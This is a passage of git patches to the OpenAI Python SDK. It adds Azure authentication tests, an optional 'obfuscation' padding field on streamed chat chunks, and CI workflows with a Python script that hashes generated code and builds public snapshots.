+ _os.environ["AZURE_OPENAI_AD_TOKEN"] = "fake-ambient-token"
+ _os.environ["OPENAI_API_VERSION"] = "2024-02-01"
+ _os.environ["AZURE_OPENAI_ENDPOINT"] = "https://azure.test"
+ if mode == "api_key":
+ openai.api_key = "fake-selected"
+ elif mode == "azure_ad_token":
+ openai.azure_ad_token = "fake-selected"
+ elif mode == "azure_ad_token_provider":
+ openai.azure_ad_token_provider = lambda: "fake-selected"
+
+ with httpx2.Client(transport=httpx2.MockTransport(send), trust_env=False) as http_client:
+ openai.http_client = http_client
+ openai.models.list()
+ client = openai.models._client
+ assert isinstance(client, AzureOpenAI)
+ _, realtime_headers = client._configure_realtime("test-model", {})
+
+ expected = (
+ {"api-key": "fake-selected"}
+ if mode == "api_key"
+ else {"authorization": "Bearer fake-ambient-token" if mode == "environment" else "Bearer fake-selected"}
+ )
+ for headers in (requests[0].headers, realtime_headers):
+ assert {k.lower(): v for k, v in headers.items() if k.lower() in {"authorization", "api-key"}} == expected
+
+
+@pytest.mark.parametrize("forced", [False, True])
+def test_azure_module_rejects_conflicting_explicit_auth(forced: bool) -> None:
+ with fresh_env():
+ openai.api_type = "azure" if forced else None
+ openai.azure_endpoint = "https://azure.test"
+ openai.api_version = "2024-02-01"
+ openai.api_key = "fake-explicit-key"
+ openai.azure_ad_token_provider = lambda: "fake-explicit-token"
+ with pytest.raises(MutuallyExclusiveAuthError):
+ _ = openai.models._client
+
+
+def test_azure_module_import_does_not_make_ambient_token_explicit() -> None:
+ # Exercise import-time environment handling in a fresh interpreter.
+ subprocess.run(
+ [
+ sys.executable,
+ "-c",
+ "import os\n"
+ "from unittest.mock import patch\n"
+ "with patch.dict(os.environ, {\n"
+ " 'AZURE_OPENAI_AD_TOKEN': 'fake-ambient-token',\n"
+ " 'OPENAI_API_TYPE': 'azure',\n"
+ " 'OPENAI_API_VERSION': '2024-02-01',\n"
+ " 'AZURE_OPENAI_ENDPOINT': 'https://azure.test',\n"
+ "}, clear=True):\n"
+ " import openai\n"
+ " assert openai.azure_ad_token is None\n"
+ " openai.api_key = 'fake-explicit-key'\n"
+ " client = openai.models._client\n"
+ " assert client._azure_ad_token is None\n"
+ " assert client.api_key == 'fake-explicit-key'\n"
+ " client.close()\n",
+ ],
+ check=True,
+ )
+
+
+def test_azure_module_preserves_provider_ambiguity() -> None:
+ with fresh_env():
+ openai.api_type = None
+ _os.environ["OPENAI_API_KEY"] = "fake-openai-key"
+ _os.environ["AZURE_OPENAI_AD_TOKEN"] = "fake-azure-token"
+ with pytest.raises(openai.OpenAIError, match="Ambiguous use of module client"):
+ _ = openai.models._client
+
+
def test_bedrock_token_and_region_env() -> None:
with fresh_env():
openai.api_type = "amazon-bedrock"
From c7d8e1d26be1f958e55c80f26b648f768afabdf2 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 19 Aug 2026 22:38:20 +0000
Subject: [PATCH 047/341] feat(api): Add obfuscation field to
ChatCompletionChunk (#3690)
## Summary
Introduce an optional obfuscation field on ChatCompletionChunk to
support size-normalized streamed chunks. The new field is optional and
omitted when stream_options.include_obfuscation is false.
## Changes
- Add ChatCompletionChunk.obfuscation: Optional[str]. This optional
string may be included on streamed moderation chunks to normalize chunk
sizes; it is returned by default and omitted when
stream_options.include_obfuscation is false.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 +-
.../castiron-custom-code-comment.yml | 87 ++
.github/workflows/castiron-custom-code.yml | 84 ++
api_reference/openapi.transformed.yml | 16 +-
scripts/castiron/README.md | 23 +
scripts/castiron/custom_code_report.py | 925 ++++++++++++++++++
scripts/castiron/ruff.toml | 3 +
scripts/castiron/test_custom_code_report.py | 654 +++++++++++++
src/openai/lib/streaming/chat/_completions.py | 1 +
.../types/chat/chat_completion_chunk.py | 7 +
tests/lib/chat/test_completions_streaming.py | 39 +-
11 files changed, 1839 insertions(+), 10 deletions(-)
create mode 100644 .github/workflows/castiron-custom-code-comment.yml
create mode 100644 .github/workflows/castiron-custom-code.yml
create mode 100644 scripts/castiron/README.md
create mode 100644 scripts/castiron/custom_code_report.py
create mode 100644 scripts/castiron/ruff.toml
create mode 100644 scripts/castiron/test_custom_code_report.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 5ffde321fa..90c75d40bf 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,6 +1,8 @@
schema_version: 1
-generation_id: 04cb977a-ba1d-438c-a56e-94f269e79218
-openapi_spec_hash: dd725fb7d43ceec7fb2de6f8713d14b6
-openapi_transformed_spec_hash: 10930179c5f116288e24e0c6fda46559
+generation_id: 14743cd4-a53e-4fed-ba72-d5e23592153e
+openapi_spec_hash: a99ded1ea34cf528a9cd5f064167f26a
+openapi_transformed_spec_hash: e24c9d9339620c3cce8bbdd80e9ef8ed
config_hash: 85382dd94c503b5d225adc7636a77c9f
-codegen_sha: 6e990f52e3cbdeaae602710a1b0f2a2c944a5c35
+codegen_sha: 66cd6dedd5d1b60732d891f911deb07347a8f068
+codegen_hash: 0e1cb892e3631438e55b55edd14899551f458be8d073e13d2c191730297562d6
+public_codegen_sha: 6356986f823c01fd602da9f64ef414c01db4619c
diff --git a/.github/workflows/castiron-custom-code-comment.yml b/.github/workflows/castiron-custom-code-comment.yml
new file mode 100644
index 0000000000..4a71d06c37
--- /dev/null
+++ b/.github/workflows/castiron-custom-code-comment.yml
@@ -0,0 +1,87 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+name: Castiron custom code comment
+
+on:
+ workflow_run:
+ workflows: [Castiron custom code]
+ types: [completed]
+
+permissions: {}
+
+concurrency:
+ group: castiron-custom-code-comment-${{ github.event.workflow_run.head_repository.id }}-${{ github.event.workflow_run.head_branch }}
+ cancel-in-progress: false
+
+jobs:
+ comment:
+ name: Update custom-code comment
+ if: github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.path == '.github/workflows/castiron-custom-code.yml'
+ runs-on: ubuntu-latest
+ timeout-minutes: 5
+ permissions:
+ contents: read
+ actions: read
+ pull-requests: write
+ steps:
+ - name: Check out the trusted publisher
+ uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ with:
+ ref: ${{ github.workflow_sha }}
+ persist-credentials: false
+
+ - name: Download the completed run's report
+ uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
+ with:
+ github-token: ${{ github.token }}
+ run-id: ${{ github.event.workflow_run.id }}
+ name: castiron-custom-code-${{ github.event.workflow_run.id }}-${{ github.event.workflow_run.run_attempt }}
+ path: ${{ runner.temp }}/castiron-custom-code
+
+ - name: Validate report context
+ id: context
+ env:
+ REPOSITORY: ${{ github.repository }}
+ RUN_ID: ${{ github.event.workflow_run.id }}
+ RUN_ATTEMPT: ${{ github.event.workflow_run.run_attempt }}
+ run: |
+ number=$(jq -er --arg repository "$REPOSITORY" --argjson run "$RUN_ID" \
+ --argjson attempt "$RUN_ATTEMPT" \
+ 'select(.repository == $repository and .run == $run and .attempt == $attempt) | .pr | select(type == "number" and . > 0 and . == floor)' \
+ "$RUNNER_TEMP/castiron-custom-code/context.json")
+ printf 'number=%s\n' "$number" >> "$GITHUB_OUTPUT"
+
+ - name: Create or update the single report comment
+ id: publish
+ env:
+ GH_TOKEN: ${{ github.token }}
+ REPOSITORY: ${{ github.repository }}
+ PR_NUMBER: ${{ steps.context.outputs.number }}
+ RUN_ID: ${{ github.event.workflow_run.id }}
+ RUN_ATTEMPT: ${{ github.event.workflow_run.run_attempt }}
+ run: |
+ python3 -I scripts/castiron/custom_code_report.py comment \
+ --report "$RUNNER_TEMP/castiron-custom-code/report.json" \
+ --repository "$REPOSITORY" --pr "$PR_NUMBER" --run-id "$RUN_ID" \
+ --run-attempt "$RUN_ATTEMPT"
+
+ - name: Publish a trusted failure status
+ if: always() && !cancelled() && steps.publish.outcome != 'success'
+ uses: actions/github-script@f28e40c7f34bde8b3046d885e986cb6290c5673b # v7
+ with:
+ script: |
+ const marker = '';
+ const run = context.payload.workflow_run;
+ if (run.event !== 'pull_request' || run.path !== '.github/workflows/castiron-custom-code.yml') return;
+ const pulls = run.pull_requests?.length ? run.pull_requests : await github.paginate(github.rest.repos.listPullRequestsAssociatedWithCommit, {...context.repo, commit_sha: run.head_sha});
+ for (const pull of pulls) {
+ const {data: current} = await github.rest.pulls.get({...context.repo, pull_number: pull.number});
+ if (current.state !== 'open' || current.head.sha !== run.head_sha) continue;
+ const comments = await github.paginate(github.rest.issues.listComments, {...context.repo, issue_number: pull.number});
+ const previous = comments.find(c => c.user?.type === 'Bot' && c.user?.login === 'github-actions[bot]' && c.body?.startsWith(marker));
+ const prior = previous?.body?.match(//);
+ if (prior && (Number(prior[1]) > run.id || (Number(prior[1]) === run.id && Number(prior[2]) > run.run_attempt))) continue;
+ const url = `${context.serverUrl}/${context.repo.owner}/${context.repo.repo}/actions/runs/${run.id}`;
+ const body = `${marker}\n\n## Castiron custom code\n\n⚠️ Report unavailable for \`${run.head_sha.slice(0, 12)}\`.\n\nThe report setup or validation failed. [Inspect the workflow run](${url}).\n\n`;
+ if (previous) await github.rest.issues.updateComment({...context.repo, comment_id: previous.id, body});
+ else await github.rest.issues.createComment({...context.repo, issue_number: pull.number, body});
+ }
diff --git a/.github/workflows/castiron-custom-code.yml b/.github/workflows/castiron-custom-code.yml
new file mode 100644
index 0000000000..c78811d7ed
--- /dev/null
+++ b/.github/workflows/castiron-custom-code.yml
@@ -0,0 +1,84 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+name: Castiron custom code
+
+on:
+ pull_request:
+ types: [opened, synchronize, reopened, ready_for_review]
+
+permissions:
+ contents: read
+
+concurrency:
+ group: castiron-custom-code-${{ github.event.pull_request.number }}
+ cancel-in-progress: false
+
+env:
+ REPORTER_SHA256: 73ecd6290e9803b0d0a93af4ca4dccdbf8648cbd5c0cce51ea65fce28c7da79f
+
+jobs:
+ report:
+ name: Castiron / baseline consistency
+ runs-on: ubuntu-latest
+ timeout-minutes: 10
+ steps:
+ - name: Record the pull request
+ env:
+ PR_NUMBER: ${{ github.event.pull_request.number }}
+ REPOSITORY: ${{ github.repository }}
+ RUN_ID: ${{ github.run_id }}
+ RUN_ATTEMPT: ${{ github.run_attempt }}
+ run: |
+ mkdir -p "$RUNNER_TEMP/castiron-custom-code"
+ jq -n --argjson pr "$PR_NUMBER" --arg repository "$REPOSITORY" \
+ --argjson run "$RUN_ID" --argjson attempt "$RUN_ATTEMPT" \
+ '{pr: $pr, repository: $repository, run: $run, attempt: $attempt}' \
+ > "$RUNNER_TEMP/castiron-custom-code/context.json"
+
+ - name: Check out the pull request
+ uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
+ with:
+ ref: ${{ github.event.pull_request.head.sha }}
+ fetch-depth: 0
+ persist-credentials: false
+
+ - name: Verify the reporter matches its generated workflow
+ run: printf '%s %s\n' "$REPORTER_SHA256" scripts/castiron/custom_code_report.py | sha256sum --check --strict
+
+ - name: Test hash mismatch and snapshot isolation
+ run: python3 -m unittest discover -s scripts/castiron -p test_custom_code_report.py
+
+ - name: Validate the codegen hash and report custom code
+ env:
+ GH_TOKEN: ${{ github.token }}
+ GIT_CONFIG_COUNT: '2'
+ GIT_CONFIG_KEY_0: credential.helper
+ GIT_CONFIG_VALUE_0: ''
+ GIT_CONFIG_KEY_1: credential.https://github.com.helper
+ GIT_CONFIG_VALUE_1: '!gh auth git-credential'
+ BASE_SHA: ${{ github.event.pull_request.base.sha }}
+ HEAD_SHA: ${{ github.event.pull_request.head.sha }}
+ PUBLIC_REPOSITORY: ${{ !github.event.repository.private }}
+ run: |
+ git fetch --quiet --no-tags origin "$BASE_SHA" "$HEAD_SHA"
+ mode=()
+ if [[ "$PUBLIC_REPOSITORY" == true ]]; then mode=(--public); fi
+ python3 -I scripts/castiron/custom_code_report.py report \
+ --base "$BASE_SHA" --head "$HEAD_SHA" \
+ --fetch --require-head-hash "${mode[@]}" \
+ --out "$RUNNER_TEMP/castiron-custom-code"
+
+ - name: Add the report to the run summary
+ if: always()
+ run: |
+ if test -f "$RUNNER_TEMP/castiron-custom-code/summary.md"; then
+ cat "$RUNNER_TEMP/castiron-custom-code/summary.md" >> "$GITHUB_STEP_SUMMARY"
+ fi
+
+ - name: Upload report and current custom-code patch
+ if: always()
+ uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
+ with:
+ name: castiron-custom-code-${{ github.run_id }}-${{ github.run_attempt }}
+ path: ${{ runner.temp }}/castiron-custom-code/
+ if-no-files-found: error
+ retention-days: 7
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 7563a96471..8cda8f8cb0 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -31738,6 +31738,12 @@ components:
model:
type: string
description: The model to generate the completion.
+ obfuscation:
+ type: string
+ description: |
+ An obfuscation string added to normalize the size of streamed chunks as a
+ mitigation to certain side-channel attacks. The field is included by
+ default and omitted when `stream_options.include_obfuscation` is `false`.
service_tier:
$ref: '#/components/schemas/ServiceTier'
system_fingerprint:
@@ -31781,13 +31787,13 @@ components:
name: The chat completion chunk object
group: chat
example: |
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-4o-mini", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"role":"assistant","content":""},"logprobs":null,"finish_reason":null}]}
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-4o-mini", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"role":"assistant","content":""},"logprobs":null,"finish_reason":null}],"obfuscation":"r4N7vQ2m"}
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-4o-mini", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"content":"Hello"},"logprobs":null,"finish_reason":null}]}
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-4o-mini", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"content":"Hello"},"logprobs":null,"finish_reason":null}],"obfuscation":"p9K3xT6w"}
....
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-4o-mini", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{},"logprobs":null,"finish_reason":"stop"}]}
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-4o-mini", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{},"logprobs":null,"finish_reason":"stop"}],"obfuscation":""}
CreateCompletionRequest:
type: object
properties:
@@ -64185,7 +64191,7 @@ components:
x-stainless-const: true
encrypted_content:
type: string
- maxLength: 10485760
+ maxLength: 20971520
description: The encrypted content of the compaction summary.
type: object
required:
@@ -70602,7 +70608,7 @@ components:
x-stainless-const: true
encrypted_content:
type: string
- maxLength: 10485760
+ maxLength: 20971520
description: The encrypted content of the compaction summary.
type: object
required:
diff --git a/scripts/castiron/README.md b/scripts/castiron/README.md
new file mode 100644
index 0000000000..16dc15c266
--- /dev/null
+++ b/scripts/castiron/README.md
@@ -0,0 +1,23 @@
+
+
+# Castiron custom-code reporting
+
+Castiron maintains shared templates for these files. Prefer changing those templates
+for cross-SDK improvements; repository-specific customizations use the normal
+three-way merge and are allowed.
+The reporter uses Python 3.10+, Git, and `gh`; it does not import SDK code.
+
+Run `python3 scripts/castiron/test_custom_code_report.py` for focused tests.
+The report comment includes commands to inspect the exact custom-code patch.
+Public reporting uses only public snapshots and needs no private repository access.
+
+The workflow validates the recorded `codegen_hash`.
+Its hash format is documented in the reporter. Only `.github/actions/` and
+`.github/workflows/` are excluded from the content hash.
+
+The read-only pull-request workflow runs on every branch, including drafts and
+forks. A separate `workflow_run` publisher reads its report as untrusted data and
+uses only code from the trusted default branch to update the PR comment. The
+publisher becomes active once its workflow is on the default branch. No branch
+allowlist or repository variable is needed. Never execute PR-controlled code with
+write credentials. Changing either workflow may require one-time AM permission.
diff --git a/scripts/castiron/custom_code_report.py b/scripts/castiron/custom_code_report.py
new file mode 100644
index 0000000000..1083c1be15
--- /dev/null
+++ b/scripts/castiron/custom_code_report.py
@@ -0,0 +1,925 @@
+#!/usr/bin/env python3
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+# Regenerate with Castiron; do not edit this file by hand.
+"""Standalone, vendorable Castiron generated-content hashing and reporting.
+
+Hash v1: SHA256(domain || u64(entry count) || entries), where each entry is
+u64(path length) || path bytes || six ASCII Git mode bytes || u64(blob length)
+|| blob bytes. Integers are unsigned big-endian. Entries sort by raw Git path.
+Only .github/actions/ and .github/workflows/ are excluded. No SDK imports.
+"""
+
+from __future__ import annotations
+
+import argparse
+import base64
+import collections
+import hashlib
+import html
+import json
+import os
+import re
+import struct
+import subprocess
+import sys
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Any, cast
+
+DOMAIN = b"castiron-codegen-v1\0"
+MARKER = ""
+RUN_MARKER = re.compile(r"")
+SHA = re.compile(r"[0-9a-f]{40}\Z")
+HASH = re.compile(r"[0-9a-f]{64}\Z")
+REPOSITORY = re.compile(r"[A-Za-z0-9_.-]+/[A-Za-z0-9_.-]+\Z")
+EXCLUDED = (b".github/actions/", b".github/workflows/")
+PUBLIC_BLOCKED_PATHS = {
+ b".castiron",
+ b".github",
+ b".gitmodules",
+ b"CODEOWNERS",
+ b"SECURITY.md",
+ b"docs/CODEOWNERS",
+ b"docs/SECURITY.md",
+}
+LABELS = {
+ "newly_customized": "Newly customized",
+ "removed": "Customization removed",
+ "existing_changed": "Existing customization changed",
+ "baseline_changed": "Generated baseline changed",
+ "unchanged": "Existing customization unchanged",
+ "no_longer_generated": "No longer generated",
+ "newly_generation_owned": "Now generated; already existed",
+}
+
+
+class ReportError(ValueError):
+ """The report cannot establish a trustworthy comparison."""
+
+
+@dataclass(frozen=True)
+class Entry:
+ mode: bytes
+ oid: str
+
+
+def git(repo: Path, *args: str, input_bytes: bytes | None = None) -> bytes:
+ env = os.environ.copy()
+ # Preserve ordinary Git authentication/configuration, but do not inherit
+ # repository routing from the caller (for example, a Git hook).
+ for name in (
+ "GIT_DIR",
+ "GIT_COMMON_DIR",
+ "GIT_WORK_TREE",
+ "GIT_INDEX_FILE",
+ "GIT_PREFIX",
+ "GIT_OBJECT_DIRECTORY",
+ "GIT_ALTERNATE_OBJECT_DIRECTORIES",
+ ):
+ env.pop(name, None)
+ env["GIT_NO_REPLACE_OBJECTS"] = "1"
+ result = subprocess.run(
+ ["git", "--no-replace-objects", "-C", str(repo), *args],
+ input=input_bytes,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ env=env,
+ check=False,
+ )
+ if result.returncode:
+ raise ReportError(f"git {args[0]} failed: {result.stderr.decode(errors='replace').strip()}")
+ return result.stdout
+
+
+def require_sha(value: str) -> str:
+ if not SHA.fullmatch(value):
+ raise ReportError("expected a full Git commit SHA")
+ return value
+
+
+def included(path: bytes) -> bool:
+ return not path.startswith(EXCLUDED)
+
+
+def tree_entries(repo: Path, commit: str) -> dict[bytes, Entry]:
+ result: dict[bytes, Entry] = {}
+ for record in git(repo, "ls-tree", "-r", "-z", require_sha(commit)).split(b"\0"):
+ if not record:
+ continue
+ metadata, path = record.split(b"\t", 1)
+ mode, kind, oid = metadata.split(b" ")
+ if not included(path):
+ continue
+ if kind != b"blob" or mode not in {b"100644", b"100755", b"120000"}:
+ raise ReportError(f"unsupported Git entry: {path!r}")
+ result[path] = Entry(mode, oid.decode("ascii"))
+ return result
+
+
+def read_blobs(repo: Path, entries: dict[bytes, Entry]) -> dict[str, bytes]:
+ oids = sorted({entry.oid for entry in entries.values()})
+ output = git(
+ repo, "cat-file", "--batch", input_bytes="".join(f"{oid}\n" for oid in oids).encode()
+ )
+ result: dict[str, bytes] = {}
+ offset = 0
+ for oid in oids:
+ end = output.index(b"\n", offset)
+ actual, kind, size = output[offset:end].split(b" ")
+ if actual.decode() != oid or kind != b"blob":
+ raise ReportError("unexpected Git object response")
+ offset = end + 1
+ length = int(size)
+ result[oid] = output[offset : offset + length]
+ offset += length
+ if output[offset : offset + 1] != b"\n":
+ raise ReportError("truncated Git object response")
+ offset += 1
+ if offset != len(output):
+ raise ReportError("unexpected trailing Git object data")
+ return result
+
+
+def hash_codegen_commit(repo: Path, commit: str) -> str:
+ entries = tree_entries(repo, commit)
+ blobs = read_blobs(repo, entries)
+ digest = hashlib.sha256(DOMAIN + struct.pack(">Q", len(entries)))
+ for path, entry in sorted(entries.items()):
+ content = blobs[entry.oid]
+ digest.update(struct.pack(">Q", len(path)))
+ digest.update(path)
+ digest.update(entry.mode)
+ digest.update(struct.pack(">Q", len(content)))
+ digest.update(content)
+ return digest.hexdigest()
+
+
+def read_stats(repo: Path, commit: str) -> dict[str, str]:
+ entry = git(repo, "ls-tree", require_sha(commit), "--", ".castiron.stats.yml")
+ if not entry.startswith((b"100644 blob ", b"100755 blob ")):
+ raise ReportError("Castiron stats must be a regular Git file")
+ text = git(repo, "show", f"{require_sha(commit)}:.castiron.stats.yml").decode("utf-8")
+ values: dict[str, str] = {}
+ for line in text.splitlines():
+ if not line.strip() or line.lstrip().startswith("#"):
+ continue
+ key, sep, value = line.partition(":")
+ if not sep or key.strip() in values:
+ raise ReportError("invalid or duplicate stats field")
+ values[key.strip()] = value.strip().strip("\"'")
+ if values.get("schema_version") != "1":
+ raise ReportError("unsupported Castiron stats schema")
+ require_sha(values.get("codegen_sha", ""))
+ if not re.fullmatch(
+ r"[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}",
+ values.get("generation_id", ""),
+ ):
+ raise ReportError("invalid generation ID")
+ if "codegen_hash" in values and not HASH.fullmatch(values["codegen_hash"]):
+ raise ReportError("invalid codegen_hash")
+ if "public_codegen_sha" in values:
+ require_sha(values["public_codegen_sha"])
+ return values
+
+
+def public_metadata(repo: Path, commit: str) -> dict[str, str]:
+ message = git(repo, "show", "-s", "--format=%B", require_sha(commit)).decode("utf-8")
+ fields: dict[str, str] = {}
+ for key in ("Version", "Generation-ID", "Hash", "Branch"):
+ matches = re.findall(rf"^Castiron-Public-Codegen-{key}: (.+)$", message, re.MULTILINE)
+ if len(matches) != 1:
+ raise ReportError("invalid public codegen metadata")
+ fields[key] = matches[0]
+ if fields["Version"] != "1" or not HASH.fullmatch(fields["Hash"]):
+ raise ReportError("unsupported public codegen metadata")
+ if not fields["Branch"].startswith("codegen/"):
+ raise ReportError("invalid public codegen branch")
+ git(repo, "check-ref-format", f"refs/heads/{fields['Branch']}")
+ return fields
+
+
+def resolve_public_baseline(
+ repo: Path, revision: str, *, fetch: bool, require_hash: bool, lineage: str | None = None
+) -> dict[str, Any]:
+ stats = read_stats(repo, revision)
+ commit = stats.get("public_codegen_sha")
+ if commit is None:
+ # Bootstrap old public main without changing its schema-v1 stats. Search
+ # only the already-verified public snapshot lineage supplied by PR head.
+ if lineage is None:
+ raise ReportError("stats do not contain public_codegen_sha")
+ for candidate in git(repo, "rev-list", require_sha(lineage)).decode().splitlines():
+ if public_metadata(repo, candidate)["Generation-ID"] == stats["generation_id"]:
+ commit = candidate
+ break
+ if commit is None:
+ raise ReportError("public snapshot lineage does not contain the base generation")
+ elif fetch:
+ git(repo, "fetch", "--quiet", "--no-tags", "origin", commit)
+ metadata = public_metadata(repo, commit)
+ if metadata["Generation-ID"] != stats["generation_id"]:
+ raise ReportError("public codegen generation ID does not match stats")
+ ref = f"refs/heads/{metadata['Branch']}"
+ tracking = f"refs/castiron/report/{hashlib.sha256(ref.encode()).hexdigest()}"
+ if fetch:
+ git(repo, "fetch", "--quiet", "--no-tags", "origin", f"+{ref}:{tracking}")
+ else:
+ tracking = f"refs/remotes/origin/{metadata['Branch']}"
+ git(repo, "merge-base", "--is-ancestor", commit, tracking)
+ actual = hash_codegen_commit(repo, commit)
+ if actual != metadata["Hash"]:
+ raise ReportError("public codegen content does not match snapshot metadata")
+ expected = stats.get("codegen_hash")
+ if expected is None and require_hash:
+ raise ReportError("head stats do not contain codegen_hash")
+ if expected is not None and expected != actual:
+ raise ReportError(f"codegen_hash mismatch: expected {expected}, got {actual}")
+ return {
+ "commit": commit,
+ "generation_id": stats["generation_id"],
+ "hash": actual,
+ "hash_recorded": expected is not None,
+ }
+
+
+def public_snapshot_entries(
+ source: Path,
+ commit: str,
+ destination: Path,
+ public_base: str,
+ approved_tree: str | None = None,
+) -> dict[bytes, Entry]:
+ entries = tree_entries(source, commit)
+ approved = tree_entries(destination, public_base)
+ if approved_tree is not None:
+ approved.update(tree_entries(destination, approved_tree))
+ for path in entries:
+ if path in PUBLIC_BLOCKED_PATHS or path.startswith((b".castiron/", b".github/")):
+ raise ReportError(f"refusing to publish private or governance snapshot path: {path!r}")
+ if path not in approved:
+ raise ReportError(
+ f"snapshot path is absent from the approved public SDK tree: {path!r}"
+ )
+ return entries
+
+
+def copy_generated_tree(
+ source: Path,
+ commit: str,
+ destination: Path,
+ public_base: str,
+ approved_tree: str | None = None,
+) -> str:
+ """Transfer approved blobs/trees only, never source commits or ancestors."""
+ entries = public_snapshot_entries(source, commit, destination, public_base, approved_tree)
+ for oid, blob in read_blobs(source, entries).items():
+ actual = git(destination, "hash-object", "-w", "--stdin", input_bytes=blob).decode().strip()
+ if actual != oid:
+ raise ReportError("source and destination Git object formats differ")
+ directories: dict[bytes, list[bytes]] = {b"": []}
+ for path, entry in entries.items():
+ parent, _, name = path.rpartition(b"/")
+ directories.setdefault(parent, []).append(
+ entry.mode + b" blob " + entry.oid.encode() + b"\t" + name + b"\0"
+ )
+ while parent:
+ parent = parent.rpartition(b"/")[0]
+ directories.setdefault(parent, [])
+ for directory in sorted(directories, key=lambda p: (p.count(b"/"), len(p)), reverse=True):
+ tree = git(
+ destination, "mktree", "-z", input_bytes=b"".join(directories[directory])
+ ).strip()
+ if not directory:
+ return tree.decode()
+ parent, _, name = directory.rpartition(b"/")
+ directories[parent].append(b"040000 tree " + tree + b"\t" + name + b"\0")
+ raise ReportError("could not construct public generated tree")
+
+
+def create_public_snapshot(
+ destination: Path,
+ tree: str,
+ generation: str,
+ content_hash: str,
+ branch: str,
+ parent: str | None,
+) -> str:
+ message = (
+ "Castiron generated snapshot\n\n"
+ "Castiron-Public-Codegen-Version: 1\n"
+ f"Castiron-Public-Codegen-Generation-ID: {generation}\n"
+ f"Castiron-Public-Codegen-Hash: {content_hash}\n"
+ f"Castiron-Public-Codegen-Branch: {branch}\n"
+ )
+ parents = ["-p", require_sha(parent)] if parent is not None else []
+ snapshot = (
+ git(
+ destination,
+ "-c",
+ "user.name=Castiron",
+ "-c",
+ "user.email=noreply@openai.com",
+ "commit-tree",
+ tree,
+ *parents,
+ "-m",
+ message,
+ )
+ .decode()
+ .strip()
+ )
+ require_sha(snapshot)
+ if hash_codegen_commit(destination, snapshot) != content_hash:
+ raise ReportError("public snapshot content hash differs from private checkpoint")
+ return snapshot
+
+
+def prepare_public_snapshot(
+ source: Path,
+ source_base: str,
+ source_head: str,
+ destination: Path,
+ public_base: str,
+ branch: str,
+) -> dict[str, Any]:
+ """Prepare public-only generated history; never push anything."""
+ read_stats(source, source_base)
+ after = read_stats(source, source_head)
+ public = read_stats(destination, public_base)
+ baseline = resolve_checkpoint(source, after, fetch=True, require_hash=True)
+ codegen_branch = f"codegen/{branch}"
+ ref = f"refs/heads/{codegen_branch}"
+ git(destination, "check-ref-format", ref)
+ remote = git(destination, "ls-remote", "--refs", "origin", ref).decode().splitlines()
+ previous = require_sha(remote[0].split()[0]) if remote else ""
+ if previous:
+ git(destination, "fetch", "--quiet", "--no-tags", "origin", previous)
+ metadata = public_metadata(destination, previous)
+ # Stats pin the snapshot, not the SDK branch that currently uses it.
+ # Another promotion may legitimately reuse this public commit; its
+ # original branch remains the locator used by resolve_public_baseline.
+ if hash_codegen_commit(destination, previous) != metadata["Hash"]:
+ raise ReportError("existing public codegen branch has invalid provenance")
+
+ base_snapshot = public.get("public_codegen_sha")
+ if base_snapshot:
+ base_snapshot = resolve_public_baseline(
+ destination, public_base, fetch=True, require_hash=False
+ )["commit"]
+ elif previous:
+ try:
+ base_snapshot = resolve_public_baseline(
+ destination, public_base, fetch=True, require_hash=False, lineage=previous
+ )["commit"]
+ except ReportError:
+ base_snapshot = None
+ if base_snapshot is None:
+ old = resolve_checkpoint(source, public, fetch=True, require_hash=False)
+ # Initial bootstrap is limited to paths already present on public main.
+ tree = copy_generated_tree(source, old["commit"], destination, public_base)
+ base_snapshot = create_public_snapshot(
+ destination, tree, old["generation_id"], old["hash"], codegen_branch, None
+ )
+
+ # Normal promotion has already applied the reviewed patch to the public
+ # index. Private HEAD can contain unchanged private-only paths, so it is
+ # not an approval boundary for publication.
+ approved_tree = git(destination, "write-tree").decode().strip()
+ tree = copy_generated_tree(source, baseline["commit"], destination, public_base, approved_tree)
+ parent = base_snapshot
+ if previous:
+ ancestors = git(destination, "rev-list", previous).decode().splitlines()
+ if base_snapshot in ancestors:
+ parent = previous
+ metadata = public_metadata(destination, previous)
+ if (
+ metadata["Generation-ID"] == after["generation_id"]
+ and metadata["Hash"] == baseline["hash"]
+ and git(destination, "rev-parse", f"{previous}^{{tree}}").decode().strip() == tree
+ and base_snapshot in ancestors
+ ):
+ snapshot = previous
+ else:
+ snapshot = create_public_snapshot(
+ destination, tree, after["generation_id"], baseline["hash"], codegen_branch, parent
+ )
